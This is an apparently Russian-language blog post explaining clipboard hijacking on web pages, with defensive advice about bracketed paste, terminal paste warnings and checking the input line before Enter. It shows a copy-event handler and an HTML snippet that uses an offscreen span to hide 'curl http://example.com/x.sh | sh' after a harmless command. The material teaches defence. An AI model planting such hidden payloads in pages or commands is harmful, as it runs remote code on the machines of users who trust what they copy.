Вы скопировали команду с сайта. В буфер попало не то, что вы выделили
- четверг, 3 сентября 2026 г. в 00:00:10
Ставил утилиту по инструкции с сайта проекта: блок с командой, кнопка «скопировать», вставка в терминал. Перед Enter посмотрел на строку — вставилось не то, что было в блоке.
Проблема в том, что сайт полностью контролирует, что окажется в буфере обмена. Показать он может одно, положить — другое. И у страницы есть несколько способов сделать это так, что при вставке вы ничего не заметите.
Браузер даёт странице событие copy, и обработчик может записать в буфер что угодно:
document.addEventListener('copy', (e) => { e.clipboardData.setData('text/plain', 'что угодно вместо выделенного'); e.preventDefault(); });
Пользователь выделил sudo apt install htop, а в буфере — другая строка. Ни выделение, ни вид блока не меняются.
То же самое делает и кнопка «скопировать» рядом с блоком кода: она вызывает navigator.clipboard.writeText(...), и что туда передадут, знает только автор страницы.
Даже без всяких обработчиков в HTML легко спрятать часть текста внутри блока:
<pre>sudo apt install htop<span style="position:absolute;left:-9999px"> curl http://example.com/x.sh | sh</span></pre>
Второй фрагмент вынесен за пределы экрана, но он часть того же элемента — и при выделении попадает в буфер. Варианты того же приёма: нулевой размер шрифта, цвет фона, clip-path, opacity: 0.
Ключевая деталь: в скопированном тексте есть перевод строки. Что с ним произойдёт, зависит от режима вставки.
В современных оболочках работает bracketed paste: терминал оборачивает вставленный текст служебными маркерами, и оболочка кладёт его в строку ввода целиком, не исполняя. Это умолчание в bash с readline 8.1, в zsh и в fish. Там вторая команда сама не выполнится — но она уже в строке ввода, за правым краем экрана, и уходит на исполнение с первым же Enter.
А вот там, где bracketed paste выключен или не поддержан — старые сборки readline, set enable-bracketed-paste off, часть TUI-приложений, отдельные последовательные консоли, — перевод строки читается как нажатие Enter, и вторая команда выполняется сама.
Дело не в видимости: скрытый фрагмент вставится и в редактор. Разница в том, что в редакторе он останется текстом, а в терминале строка уходит на исполнение — либо сама, либо первым же Enter, который вы нажимаете не глядя, потому что уверены, что вставили одну команду.
Отдельно неприятно, что жертва такой страницы — обычно администратор или разработчик, то есть человек, который вставляет команды с sudo.
Вставлять в редактор, а не в терминал. В редакторе с включённым показом непечатаемых символов видно ровно то, что скопировано, вместе с невидимыми переводами строк.
Проверить, что bracketed paste включён. В bash это bind -v | grep bracketed, ожидаемое значение — set enable-bracketed-paste on. Если выключено, вставка многострочного текста исполняется сразу.
Включить подтверждение вставки в терминале. Многие терминалы предупреждают про многострочный текст: iTerm2 — опцией «Warn when pasting multiline text», Windows Terminal — параметром multiLinePasteWarning (по умолчанию он включён, проверять стоит, что его не выключили), в GNOME Terminal и Konsole наличие переключателя зависит от версии.
Смотреть на строку ввода до Enter. Нажать End или Ctrl+E — курсор уйдёт в конец, и станет видно, что строка не заканчивается там, где вы ожидали. Если команда всё же успела отработать, историю (history | tail -5) стоит смотреть как первый шаг, но при однострочнике вида curl | sh разбираться придётся уже с хостом целиком.
С осторожностью относиться к однострочникам вида «просто выполните это». Установка из непроверенного источника через загрузку скрипта в интерпретатор — сама по себе рискованная практика, а с подменой буфера она становится ещё и незаметной.
Никак не проверить заранее — обработчик выполняется в момент копирования. Единственная надёжная защита — не доверять содержимому буфера, а смотреть на него.
Если хочется убедиться, что приём работает, — соберите страницу из первого примера у себя локально и попробуйте скопировать с неё текст.